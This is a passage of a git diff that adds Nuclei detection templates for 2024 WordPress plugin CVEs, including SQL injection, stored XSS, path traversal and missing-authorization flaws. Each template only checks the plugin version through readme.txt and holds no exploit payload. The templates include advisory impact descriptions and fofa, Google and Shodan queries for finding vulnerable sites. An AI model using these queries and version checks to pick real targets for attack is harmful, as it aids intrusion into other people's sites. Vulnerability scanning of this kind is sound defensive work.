Inline Form + Woocommerce ) 2.7.1 - 2.7.2 - Missing Authorization to Arbitrary Options Update + author: topscoder + severity: low + description: > + The Login/Signup Popup ( Inline Form + Woocommerce ) plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'import_settings' function in versions 2.7.1 to 2.7.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to change arbitrary options on affected sites. This can be used to enable new user registration and set the default role for new users to Administrator. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/005a27c6-b9eb-466c-b0c3-ce52c25bb321?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2024-5324 + metadata: + fofa-query: "wp-content/plugins/easy-login-woocommerce/" + google-query: inurl:"/wp-content/plugins/easy-login-woocommerce/" + shodan-query: 'vuln:CVE-2024-5324' + tags: cve,wordpress,wp-plugin,easy-login-woocommerce,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/easy-login-woocommerce/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "easy-login-woocommerce" + part: body + + - type: dsl + dsl: + - compare_versions(version, '>= 2.7.1', '<= 2.7.2') \ No newline at end of file diff --git a/poc/cve/CVE-2024-5329.yaml b/poc/cve/CVE-2024-5329.yaml new file mode 100644 index 0000000000..75fc82c223 --- /dev/null +++ b/poc/cve/CVE-2024-5329.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-5329 + +info: + name: > + Unlimited Elements For Elementor (Free Widgets, Addons, Templates) <= 1.5.109 - Authenticated (Contributor+) Blind SQL Injection via data[addonID] Parameter + author: topscoder + severity: low + description: > + The Unlimited Elements For Elementor (Free Widgets, Addons, Templates) plugin for WordPress is vulnerable to blind SQL Injection via the ‘data[addonID]’ parameter in all versions up to, and including, 1.5.109 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/f33d77b7-5412-47bf-9bed-8617151723c9?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2024-5329 + metadata: + fofa-query: "wp-content/plugins/unlimited-elements-for-elementor/" + google-query: inurl:"/wp-content/plugins/unlimited-elements-for-elementor/" + shodan-query: 'vuln:CVE-2024-5329' + tags: cve,wordpress,wp-plugin,unlimited-elements-for-elementor,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/unlimited-elements-for-elementor/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "unlimited-elements-for-elementor" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.5.109') \ No newline at end of file diff --git a/poc/cve/CVE-2024-5342.yaml b/poc/cve/CVE-2024-5342.yaml new file mode 100644 index 0000000000..ddd8532f5b --- /dev/null +++ b/poc/cve/CVE-2024-5342.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-5342 + +info: + name: > + Simple Image Popup Shortcode <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode + author: topscoder + severity: low + description: > + The Simple Image Popup Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'sips_popup' shortcode in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/11fb823c-c3d3-456d-b606-b01a8307c25a?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-5342 + metadata: + fofa-query: "wp-content/plugins/simple-image-popup-shortcode/" + google-query: inurl:"/wp-content/plugins/simple-image-popup-shortcode/" + shodan-query: 'vuln:CVE-2024-5342' + tags: cve,wordpress,wp-plugin,simple-image-popup-shortcode,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/simple-image-popup-shortcode/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "simple-image-popup-shortcode" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.0') \ No newline at end of file diff --git a/poc/cve/CVE-2024-5382-3f1ae151e74bf3a85689b92b47a722f8.yaml b/poc/cve/CVE-2024-5382-3f1ae151e74bf3a85689b92b47a722f8.yaml new file mode 100644 index 0000000000..eac1d33e0d --- /dev/null +++ b/poc/cve/CVE-2024-5382-3f1ae151e74bf3a85689b92b47a722f8.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-5382-3f1ae151e74bf3a85689b92b47a722f8 + +info: + name: > + Master Addons – Free Widgets, Hover Effects, Toggle, Conditions, Animations for Elementor <= 2.0.6.1 - Missing Authorization to MA Template Creation or Modification + author: topscoder + severity: high + description: > + The Master Addons – Free Widgets, Hover Effects, Toggle, Conditions, Animations for Elementor plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'ma-template' REST API route in all versions up to, and including, 2.0.6.1. This makes it possible for unauthenticated attackers to create or modify existing Master Addons templates or make settings modifications related to these templates. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/e3820f80-9b80-4672-b2ff-3864793d2de2?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L + cvss-score: 6.5 + cve-id: CVE-2024-5382 + metadata: + fofa-query: "wp-content/plugins/master-addons/" + google-query: inurl:"/wp-content/plugins/master-addons/" + shodan-query: 'vuln:CVE-2024-5382' + tags: cve,wordpress,wp-plugin,master-addons,high + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/master-addons/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "master-addons" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.0.6.1') \ No newline at end of file diff --git a/poc/cve/CVE-2024-5425-8573326a950aad533931811dfbdfb643.yaml b/poc/cve/CVE-2024-5425-8573326a950aad533931811dfbdfb643.yaml new file mode 100644 index 0000000000..5600a36aff --- /dev/null +++ b/poc/cve/CVE-2024-5425-8573326a950aad533931811dfbdfb643.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-5425-8573326a950aad533931811dfbdfb643 + +info: + name: > + WP jQuery Lightbox <= 1.5.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via title Attribute + author: topscoder + severity: low + description: > + The WP jQuery Lightbox plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘title’ attribute in all versions up to, and including, 1.5.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/b3439710-1159-4677-93c9-14bacfbf0b55?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-5425 + metadata: + fofa-query: "wp-content/plugins/wp-jquery-lightbox/" + google-query: inurl:"/wp-content/plugins/wp-jquery-lightbox/" + shodan-query: 'vuln:CVE-2024-5425' + tags: cve,wordpress,wp-plugin,wp-jquery-lightbox,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/wp-jquery-lightbox/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "wp-jquery-lightbox" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.5.4') \ No newline at end of file diff --git a/poc/cve/CVE-2024-5426-05a62725e997584a7ca96583d0ed07b0.yaml b/poc/cve/CVE-2024-5426-05a62725e997584a7ca96583d0ed07b0.yaml new file mode 100644 index 0000000000..0f855608fd --- /dev/null +++ b/poc/cve/CVE-2024-5426-05a62725e997584a7ca96583d0ed07b0.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-5426-05a62725e997584a7ca96583d0ed07b0 + +info: + name: > + Photo Gallery by 10Web – Mobile-Friendly Image Gallery <= 1.8.23 - Authenticated (Contributor+) Stored Cross-Site Scripting via Zipped SVG + author: topscoder + severity: low + description: > + The Photo Gallery by 10Web – Mobile-Friendly Image Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘svg’ parameter in all versions up to, and including, 1.8.23 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. By default, this can only be exploited by administrators, but the ability to use and configure Photo Gallery can be extended to contributors on pro versions of the plugin. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/13436238-f14a-445b-9a9b-fbcf23b7b498?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-5426 + metadata: + fofa-query: "wp-content/plugins/photo-gallery/" + google-query: inurl:"/wp-content/plugins/photo-gallery/" + shodan-query: 'vuln:CVE-2024-5426' + tags: cve,wordpress,wp-plugin,photo-gallery,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/photo-gallery/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "photo-gallery" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.8.23') \ No newline at end of file diff --git a/poc/cve/CVE-2024-5438-1b24a267d5472a32f3c0e13b76610ec9.yaml b/poc/cve/CVE-2024-5438-1b24a267d5472a32f3c0e13b76610ec9.yaml new file mode 100644 index 0000000000..6519c72fcf --- /dev/null +++ b/poc/cve/CVE-2024-5438-1b24a267d5472a32f3c0e13b76610ec9.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-5438-1b24a267d5472a32f3c0e13b76610ec9 + +info: + name: > + Tutor LMS – eLearning and online course solution <= 2.7.1 - Authenticated (Instructor+) Insecure Direct Object Reference to Arbitrary Quiz Attempt Deletion + author: topscoder + severity: low + description: > + The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.7.1 via the 'attempt_delete' function due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Instructor-level access and above, to delete arbitrary quiz attempts. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/00ec14d4-d97b-40b1-b61b-05e911f49bb0?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L + cvss-score: 4.3 + cve-id: CVE-2024-5438 + metadata: + fofa-query: "wp-content/plugins/tutor/" + google-query: inurl:"/wp-content/plugins/tutor/" + shodan-query: 'vuln:CVE-2024-5438' + tags: cve,wordpress,wp-plugin,tutor,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/tutor/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "tutor" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.7.1') \ No newline at end of file diff --git a/poc/cve/CVE-2024-5449.yaml b/poc/cve/CVE-2024-5449.yaml new file mode 100644 index 0000000000..d4d9e10fed --- /dev/null +++ b/poc/cve/CVE-2024-5449.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-5449 + +info: + name: > + WP Dark Mode – WordPress Dark Mode Plugin for Improved Accessibility, Dark Theme, Night Mode, and Social Sharing <= 5.0.4 - Missing Authorization + author: topscoder + severity: low + description: > + The WP Dark Mode – WordPress Dark Mode Plugin for Improved Accessibility, Dark Theme, Night Mode, and Social Sharing plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the wpdm_social_share_save_options function in all versions up to, and including, 5.0.4. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update the plugin's settings. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/d7d20733-d61b-4b2f-8597-528644f0bc26?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N + cvss-score: 4.3 + cve-id: CVE-2024-5449 + metadata: + fofa-query: "wp-content/plugins/wp-dark-mode/" + google-query: inurl:"/wp-content/plugins/wp-dark-mode/" + shodan-query: 'vuln:CVE-2024-5449' + tags: cve,wordpress,wp-plugin,wp-dark-mode,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/wp-dark-mode/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "wp-dark-mode" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 5.0.4') \ No newline at end of file diff --git a/poc/cve/CVE-2024-5481-444ef62c2ed9a822286b94ddae6883e0.yaml b/poc/cve/CVE-2024-5481-444ef62c2ed9a822286b94ddae6883e0.yaml new file mode 100644 index 0000000000..11a5aaf59d --- /dev/null +++ b/poc/cve/CVE-2024-5481-444ef62c2ed9a822286b94ddae6883e0.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-5481-444ef62c2ed9a822286b94ddae6883e0 + +info: + name: > + Photo Gallery by 10Web – Mobile-Friendly Image Gallery <= 1.8.23 - Authenticated (Contributor+) Path Traversal via esc_dir Function + author: topscoder + severity: low + description: > + The Photo Gallery by 10Web – Mobile-Friendly Image Gallery plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 1.8.23 via the esc_dir function. This makes it possible for authenticated attackers to cut and paste (copy) the contents of arbitrary files on the server, which can contain sensitive information, and to cut (delete) arbitrary directories, including the root WordPress directory. By default this can be exploited by administrators only. In the premium version of the plugin, administrators can give gallery edit permissions to lower level users, which might make this exploitable by users as low as contributors. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/76c38826-4d49-4204-b6b6-b01d01373fa9?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:H + cvss-score: 6.8 + cve-id: CVE-2024-5481 + metadata: + fofa-query: "wp-content/plugins/photo-gallery/" + google-query: inurl:"/wp-content/plugins/photo-gallery/" + shodan-query: 'vuln:CVE-2024-5481' + tags: cve,wordpress,wp-plugin,photo-gallery,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/photo-gallery/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "photo-gallery" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.8.23') \ No newline at end of file diff --git a/poc/cve/CVE-2024-5489.yaml b/poc/cve/CVE-2024-5489.yaml new file mode 100644 index 0000000000..7ffffdab4c --- /dev/null +++ b/poc/cve/CVE-2024-5489.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-5489 + +info: + name: > + Wbcom Designs - Custom Font Uploader <= 2.3.4 - Missing Authorization to Font Deletion + author: topscoder + severity: low + description: > + The Wbcom Designs – Custom Font Uploader plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the 'cfu_delete_customfont' function in all versions up to, and including, 2.3.4. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete any custom font. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/2339ebbf-2302-4e83-9743-ca79fda20f05?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L + cvss-score: 4.3 + cve-id: CVE-2024-5489 + metadata: + fofa-query: "wp-content/plugins/custom-font-uploader/" + google-query: inurl:"/wp-content/plugins/custom-font-uploader/" + shodan-query: 'vuln:CVE-2024-5489' + tags: cve,wordpress,wp-plugin,custom-font-uploader,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/custom-font-uploader/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "custom-font-uploader" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.3.4') \ No newline at end of file diff --git a/poc/cve/CVE-2024-5542-2c78331a027ed0b073a8bb936d867fb6.yaml b/poc/cve/CVE-2024-5542-2c78331a027ed0b073a8bb936d867fb6.yaml new file mode 100644 index 0000000000..a05a0f0c7e --- /dev/null +++ b/poc/cve/CVE-2024-5542-2c78331a027ed0b073a8bb936d867fb6.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-5542-2c78331a027ed0b073a8bb936d867fb6 + +info: + name: > + Master Addons – Free Widgets, Hover Effects, Toggle, Conditions, Animations for Elementor <= 2.0.6.1 - Missing Authorization to Unauthenticated Stored Cross-Site Scripting via Navigation Menu Widget + author: topscoder + severity: high + description: > + The Master Addons – Free Widgets, Hover Effects, Toggle, Conditions, Animations for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Navigation Menu widget of the plugin's Mega Menu extension in all versions up to, and including, 2.0.6.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/5151f429-b1f3-43d4-94cf-3ff382b80190?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N + cvss-score: 7.2 + cve-id: CVE-2024-5542 + metadata: + fofa-query: "wp-content/plugins/master-addons/" + google-query: inurl:"/wp-content/plugins/master-addons/" + shodan-query: 'vuln:CVE-2024-5542' + tags: cve,wordpress,wp-plugin,master-addons,high + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/master-addons/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "master-addons" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.0.6.1') \ No newline at end of file diff --git a/poc/cve/CVE-2024-5599-be6fff517aec53ff23d944b44b84ccb4.yaml b/poc/cve/CVE-2024-5599-be6fff517aec53ff23d944b44b84ccb4.yaml new file mode 100644 index 0000000000..4c7712fdfa --- /dev/null +++ b/poc/cve/CVE-2024-5599-be6fff517aec53ff23d944b44b84ccb4.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-5599-be6fff517aec53ff23d944b44b84ccb4 + +info: + name: > + FileOrganizer <= 1.0.7 - Sensitive Information Exposure via Directory Listing + author: topscoder + severity: high + description: > + The FileOrganizer – Manage WordPress and Website Files plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.0.7 via the 'fileorganizer_ajax_handler' function. This makes it possible for unauthenticated attackers to extract sensitive data including backups or other sensitive information if the files have been moved to the built-in Trash folder. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/78e7b65d-91f8-477e-b992-3148c1b65d7b?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2024-5599 + metadata: + fofa-query: "wp-content/plugins/fileorganizer/" + google-query: inurl:"/wp-content/plugins/fileorganizer/" + shodan-query: 'vuln:CVE-2024-5599' + tags: cve,wordpress,wp-plugin,fileorganizer,high + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/fileorganizer/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "fileorganizer" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.0.7') \ No newline at end of file diff --git a/poc/cve/CVE-2024-5607-901f256125fbbba6e03f938b868f6b19.yaml b/poc/cve/CVE-2024-5607-901f256125fbbba6e03f938b868f6b19.yaml new file mode 100644 index 0000000000..db02d1f8ba --- /dev/null +++ b/poc/cve/CVE-2024-5607-901f256125fbbba6e03f938b868f6b19.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-5607-901f256125fbbba6e03f938b868f6b19 + +info: + name: > + GDPR CCPA Compliance & Cookie Consent Banner <= 2.7.0 - Missing Authorization to Settings Update and Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The GDPR CCPA Compliance & Cookie Consent Banner plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on several functions named ajaxUpdateSettings() in all versions up to, and including, 2.7.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify the plugin's settings, update page content, send arbitrary emails and inject malicious web scripts. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/b8f870a6-26a5-4f98-9bd6-12736c561265?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N + cvss-score: 5.4 + cve-id: CVE-2024-5607 + metadata: + fofa-query: "wp-content/plugins/ninja-gdpr-compliance/" + google-query: inurl:"/wp-content/plugins/ninja-gdpr-compliance/" + shodan-query: 'vuln:CVE-2024-5607' + tags: cve,wordpress,wp-plugin,ninja-gdpr-compliance,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/ninja-gdpr-compliance/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "ninja-gdpr-compliance" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 2.7.0') \ No newline at end of file diff --git a/poc/cve/CVE-2024-5612-94c0f75b45145ba79530a3cebd812f91.yaml b/poc/cve/CVE-2024-5612-94c0f75b45145ba79530a3cebd812f91.yaml new file mode 100644 index 0000000000..05781aee56 --- /dev/null +++ b/poc/cve/CVE-2024-5612-94c0f75b45145ba79530a3cebd812f91.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-5612-94c0f75b45145ba79530a3cebd812f91 + +info: + name: > + Essential Addons for Elementor – Best Elementor Templates, Widgets, Kits & WooCommerce Builders <= 5.8.15 - Authenticated (Contributor+) Stored Cross-Site Scripting via Lightbox and Modal Widget + author: topscoder + severity: low + description: > + The Essential Addons for Elementor Pro plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘eael_lightbox_open_btn_icon’ parameter within the Lightbox & Modal widget in all versions up to, and including, 5.8.15 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/8dbe4104-b7d1-484f-a843-a3d1fc02999d?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N + cvss-score: 6.4 + cve-id: CVE-2024-5612 + metadata: + fofa-query: "wp-content/plugins/essential-addons-elementor/" + google-query: inurl:"/wp-content/plugins/essential-addons-elementor/" + shodan-query: 'vuln:CVE-2024-5612' + tags: cve,wordpress,wp-plugin,essential-addons-elementor,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/essential-addons-elementor/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "essential-addons-elementor" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 5.8.15') \ No newline at end of file diff --git a/poc/cve/CVE-2024-5615.yaml b/poc/cve/CVE-2024-5615.yaml new file mode 100644 index 0000000000..c142542ead --- /dev/null +++ b/poc/cve/CVE-2024-5615.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-5615 + +info: + name: > + Open Graph <= 1.11.2 - Unauthenticated Sensitive Information Exposure + author: topscoder + severity: medium + description: > + The Open Graph plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.11.2 via the 'opengraph_default_description' function. This makes it possible for unauthenticated attackers to extract sensitive data including partial content of password-protected blog posts. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/f57dc0fe-07f3-457e-8080-fe530f6a9f01?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cve-id: CVE-2024-5615 + metadata: + fofa-query: "wp-content/plugins/opengraph/" + google-query: inurl:"/wp-content/plugins/opengraph/" + shodan-query: 'vuln:CVE-2024-5615' + tags: cve,wordpress,wp-plugin,opengraph,medium + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/opengraph/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "opengraph" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.11.2') \ No newline at end of file diff --git a/poc/cve/CVE-2024-5637-52143d378292b1918b667c9107493dca.yaml b/poc/cve/CVE-2024-5637-52143d378292b1918b667c9107493dca.yaml new file mode 100644 index 0000000000..2e73ea31e9 --- /dev/null +++ b/poc/cve/CVE-2024-5637-52143d378292b1918b667c9107493dca.yaml @@ -0,0 +1,59 @@ +id: CVE-2024-5637-52143d378292b1918b667c9107493dca + +info: + name: > + Market Exporter <= 2.0.19 - Missing Authorization to Arbitrary File Deletion + author: topscoder + severity: low + description: > + The Market Exporter plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the 'remove_files' function in all versions up to, and including, 2.0.19. This makes it possible for authenticated attackers, with Subscriber-level access and above, to use path traversal to delete arbitrary files on the server. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - 